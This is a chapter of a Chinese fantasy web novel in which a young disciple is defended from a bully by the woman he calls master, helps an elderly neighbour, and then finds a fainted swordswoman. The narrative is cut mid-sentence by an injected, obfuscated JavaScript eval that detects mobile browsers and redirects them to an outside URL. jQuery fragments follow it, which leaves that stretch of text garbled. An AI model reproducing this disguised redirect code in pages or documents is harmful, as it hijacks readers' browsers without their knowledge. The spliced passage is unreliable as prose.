29. 我不是坏人

作品:《谁家反派是爱哭鬼

    沈寂声倔强着不肯低头,耳边声音纷杂,一个劲儿劝他大事化小小事化了,道个歉就完了,又损失不了什么,动动嘴皮子的事,可他就是不想动这个嘴皮子。


    就在他们僵持不下的时候,一道声音远远插进来,“他又没做错事,凭什么给你们道歉。”


    沈寂声猛地抬头,他没听错,是她。


    他眼睛眨也不眨地凝视着来人,心里涌起一股暖流。


    谢挽秋走过来,瞥了眼不争气的少年,把他护在身后,一个人对上他们几个人,目光落在找事的弟子身上:“我看你也不是泥娃娃,长的跟地里的窝瓜一样,不小心碰你一下也没给你碰散架,装什么横,我们不嫌弃你硬的跟块石头一样硌着肉疼就罢了,你倒是恶人先告上状了。”


    地里的窝瓜,说明又丑又硬,变着法地骂他,围观的弟子瞧了瞧他,觉得这个比喻太恰当了,忍不住捂着嘴笑起来。


    张跃见状脸都黑了,谢挽秋他是认识的,也不敢跟她硬碰硬,憋屈地憋出一句:“你这不是侮辱人吗!”


    “说个实话就算侮辱人了?”谢挽秋似笑非笑:“那你不由分说就指责沈寂声父母,是什么意味?”


    “教养这东西还得是自己有,才有资格去评判别人有没有,你自己都没有教养,张口闭口就是拿教养说事,不嫌丢脸吗?”


    沈寂声眼睛一动不动盯着她的侧脸,心里有处地方烫烫的,他的眼眶逐渐发红,他不奢望谁来帮助他,更别提这个人是谢挽秋,他平日里唤她主人,却从没指望过她能为自己出头。


    张跃让她堵的说不出话,其他弟子在这个过程中不知何时站开去,只剩下他一个人站在一处,显得孤立无援,他再也受不了他们指责的目光,恨声道:“我说不过你,我道歉行了吧,不该说他没教养,没父母教,这样可以了吧!”


    他说完立马转身走了几步远离这里,谢挽秋嗤笑一声,没再继续对他穷追猛打,偏了偏头,正巧对上少年微微泛着红的眼睛,吓了一跳,“这么大个人了,人家说你两句你就委屈了,委屈就算了,还不敢上去硬刚,做人怎么能够做到你这个地步?”


    谢挽秋奚落起人来不分敌我,其他弟子见她一溜烟说下来,连骂带不耐烦的,唏嘘地摸着鼻子偷偷走开,担心自己再走慢一点,谢挽秋说完沈寂声,下一个就是他们了。


    谢挽秋看着沈寂声,眼里心里只有一句话,这孩子算是“养”废了,怎么能这么没种。


    她以为沈寂声眼睛红是因为对方骂他没教养,却不知道是因为她,跟天使一样降临他的世界,三言两语就骂了对方一顿,对方还不敢吱声。


    这三年相处下来,沈寂声知道他在主人的心里占据的位置很小很小,可能就是个无关紧要的仆人,份量比不上宝石,对比起林无虞在她心里的重量,更是无足轻重。


    所以她站出来为自己说话时,他内心触动不已,他对谢挽秋是什么看法呢,就像是看待不在同一个世界的人,无限拔高对方,对自己就无限放低……


    这种微妙的态度他无法用准确的言辞表达出来,或许就是奴仆看待自己的主人吧,不期待主人回应,若是有一天对方回应了,他会处于一种受宠若惊的状态。


    他现在是这样想的,但很久以后,他会明白这根本不是什么奴仆与主人的关系,他其实把对方看作是一个情感的寄托。


    父母死后,舅舅忙,常常十天半个月见不着一面,他就像是无根的浮萍,找不到自己平稳落下来的支点,在空茫茫的世界里流浪,若是没有人出现,他会陷在这个绝望的世界,然后练就一副冷硬的心肠。


    可偏偏就是出现了一个人,让他找到了支点,冰冷的心有一处始终是温热的,留着他眷恋的一切温柔,他把这份眷恋加诸在谢挽秋身上,就像是求佛,抱着不求回应的想法跪在佛前,一句一句倾诉着自己微弱而庞大的情感。


    沈寂声摇了摇头,也不知道是在说自己没有被骂哭,还是在说她说的不对。


    谢挽秋在心里叹了口气,倒霉孩子。


    “你自己注意一下吧,我回去了。”


    “嗯。”沈寂声点头,眼睛弯了起来,“谢谢主人。”


    人群中祁云南看着他们,很难说清楚是嫉妒还是羡慕,为什么沈寂声总是那么好运呢,小时候父母疼爱,长大后又有人护着他。


    边上弟子见二人站在一起赏心悦目,顺势讨论起来:“谢师姐和沈师弟郎才女貌,真的没有在一起吗?”


    “难说,我要是沈师弟,遇到困难时有个姑娘挺身而出保护我帮我解围,我一定会爱上那个姑娘的。”


    有弟子持不同意见:“话虽如此,沈师弟长得这么好看,宗门的年轻女弟子天天给他送桃枝,谢师姐整日对着这张脸,不可能没有想法。”


    “谢师姐还每天看到兀然仙君呢,要喜欢也是喜欢兀然仙君。”


    “你这样一说也是,兀然仙君的样貌出了名的好看。”


    ……


    晨练结束后,他们没有如往常一样散去,三三两两聚在一起,全在讨论朝阳宗派弟子过来进行学习的事。


    下午朝阳宗的弟子就到了,还带来了一个神秘而又令人惊讶的消息,说是一个散修猎杀了一头S级别的魔兽。


    消息瞬间传遍宗门上下,周素牵着许愿跑进院子,抓住沈寂声激动地道:“你听说了吗,朝阳宗的人说有个散修杀了S级魔兽,那个散修还是个十六岁的少女,我的天啊,好厉害!”


    许愿被她拉着跑了一路脸都红了,倒了一杯水捧在手上慢慢喝着。


    沈寂声听完后惊奇地摇头:“真的吗?要斩杀S级别的魔兽修士起码得有化神境界。”


    “真的不能再真,就是三日前的事,朝阳宗的弟子出门历练,遇到S级魔兽,险些全军覆没,多亏了遇到这个散修,凭一人之力就杀了魔兽,把他们所有人救了下来。”周素猛点头。


    他们修炼不仅仅只有实操,还有理论


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076198|191639||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    课程,对于魔兽相关知识都能从书本中找到。


    一人就能猎杀S级魔兽,实力恐怕比林无虞还要厉害,这种天才居然是散修,仅凭自己就能修炼到这个地步吗……


    沈寂声一边想着,一边给人让路,一股熟悉的气息让他驻足,回头看去,只看到一个戴着斗笠的女子,手里拿着一把剑。


    待人群聚集起来,女子的身影消失不见,他才转身往前去,走过热闹的市集,拐进一处偏僻的小巷。


    吴阿婆就住在这里面,腿脚不便,膝下没有孩子,老伴又死了,一个人住在不大的院子里,院子虽小,却收拾得十分有条理。


    吴阿婆正在给院子里的菜施肥,听见进门的动静,抬头眯着混浊的眼睛一看,顿时笑了起来:“来了啊?”


    “阿婆好。”沈寂声笑了笑,拿起院子里的桶,出门,来回几趟把院子里的水缸填满。


    阿婆拿出一两银子递给他,“你收好,别跟老婆子我推辞,这两年都亏了你我才省了好多力。”


    “我不能拿,阿婆你再这样我以后就不来了。”沈寂严肃地说。


    吴阿婆本来想着她这么说,沈寂声就会收下,没想到对方硬气地说以后不来了,她一下被唬住了,没再强迫他收钱,颤巍巍地把手里的银子放回去,拿了几个铜板给他,“给说好的铜板行了吧,你以后还来知道吗,阿婆身边没有孩子,就盼着你下山来一起吃顿饭。”


    沈寂声这才收下,“阿婆你放心,我肯定来。”


    他陪着吴阿婆吃了晚饭,告别阿婆后走进另一户人家,拿上砍柴的家伙事就往山里去。


    到达平日砍柴的地方,砍了一大捆柴后,他喝了口水,正要继续砍,忽然听到什么声音。


    他扭头看去,之前擦肩而过的女子不知怎么出现在这深山老林里,闭着眼倒在地上,身下横着一把长剑,体积比之前集市看到的要大上三倍不止。


    长剑在沈寂声的目光里缩小,从女子身下钻出来插进她握着的剑鞘里。


    原来是修士吗?


    沈寂声抬头看了看天,应该是御剑过程中掉下来的。


    他过去试了试女子的气息,还活着,只是晕过去了,他伸手准备拿掉女子头上的斗笠,没想到就算是晕过去了,女子也条件反射地握住他的手阻止他的动作。


    力气不小,沈寂声没有强硬抽出来,不管她能不能听到,对她说:“我不是坏人,你不用防备我,我只是想把你扶起来。”


    他的声音很年轻,女子虽然身体晕过去了,但意识还在活跃,只是暂时不能睁眼,听到沈寂声的话,心里嗤了一声,坏人也不会说自己是坏人,不过她听对方的声音,确实不像坏人,于是慢慢松开手。


    沈寂声手腕肉眼可见出现一圈青紫的印记,他没想到自己的话真的有用,既然对方放了手,他就不用先礼后兵了,拿掉女子头上的斗笠,女子的面容一点点显露出来。


    他讶然地睁大了眼,怎么会?